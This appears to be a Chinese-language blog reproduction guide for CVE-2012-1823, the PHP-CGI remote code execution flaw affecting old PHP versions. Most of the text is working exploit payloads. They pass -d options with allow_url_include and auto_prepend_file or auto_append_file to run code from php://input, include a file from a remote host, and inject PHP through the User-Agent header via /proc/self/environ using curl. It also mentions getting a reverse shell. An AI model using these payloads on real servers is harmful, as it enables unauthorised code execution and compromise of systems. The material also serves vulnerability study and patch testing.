004-(CVE-2012-1823)PHP-CGI远程代码执行漏洞

# (CVE-2012-1823)PHP-CGI远程代码执行漏洞

## 一、漏洞简介

## 二、漏洞影响

php < 5.3.12 or php < 5.4.2 ### 三、复现过程 cgi模式下有如下可控命令行参数可用: * -c 指定php.ini文件(PHP的配置文件)的位置 * -n 不要加载php.ini文件 * -d 指定配置项 * -b 启动fastcgi进程 * -s 显示文件源码 * -T 执行指定次该文件 * -h和-? 显示帮助 ​ ​那么最简单的利用方式就是-s可以直接显示源码 ​ ​ ![](/static/lingzu/images/15897701848465.png) -d参数好像就文件包含吧 payload: ```bash -d+allow_url_include%3don+-d+auto_append_file%3dphp://input 需要注意的是 =要用%3d(url编下码) 空格用+号代替或者%20 -d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input 上面两种都行只不过一个在页面顶部加载文件一个是页面底部加载文件 auto_prepend_file 在页面顶部加载文件 auto_append_file 在页面底部加载文件 ``` ![](/static/lingzu/images/15897702040771.png) 远程包含: payload: ```bash -d allow_url_include%3don+-d+auto_prepend_file%3dhttp://ip/1.txt ``` ![](/static/lingzu/images/15897702196125.png) 本地包含: payload: ```bash curl -H "USER-AGENT:” url -d auto_prepend_file%3d/proc/self/environ+-n
“`

这里介绍下/proc/self/environ在文件包含中的作用

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令

我们可以把php代码放进user-agent里然后进行本地包含

但是我这里用bp修改user-agent不知道为什么不行 (一直显示超时)

![](/static/lingzu/images/15897702455968.png)

不过我们还是可以进行本地包含的 使用curl来完成

payload:

“`bash
curl -H “USER-AGENT:” https://url:8080/index.php?-d+auto_prepend_file%3d/proc/self/environ+-n -o xxx.txt
“`

![](/static/lingzu/images/15897702628312.png)

当然也可以使用之前提到的反弹shell

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容